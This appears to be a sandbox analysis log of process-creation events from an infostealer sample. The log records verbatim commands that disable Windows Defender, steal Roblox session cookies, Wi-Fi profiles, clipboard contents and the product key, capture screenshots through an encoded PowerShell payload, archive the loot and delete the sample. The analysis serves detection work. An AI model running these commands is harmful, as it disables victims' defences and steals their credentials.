CgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESED03.tmp" "c:\Users\user\AppData\Local\Temp\bifucm0t\CSCB2EB15F711B84CFFA3556DECAB136738.TMP"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\getmac.exe getmac
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\user\Desktop\KpHYfxnJs6.exe""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping localhost -n 3
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Users\user\Desktop\KpHYfxnJs6.exe "C:\Users\user\Desktop\KpHYfxnJs6.exe"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('VERISON NOT SUPPORT (WAIT FOR UPDATE)', 0, 'CLOSING ALL APPS FOR BOTNET', 0+16);close()""	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\Desktop\KpHYfxnJs6.exe""	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
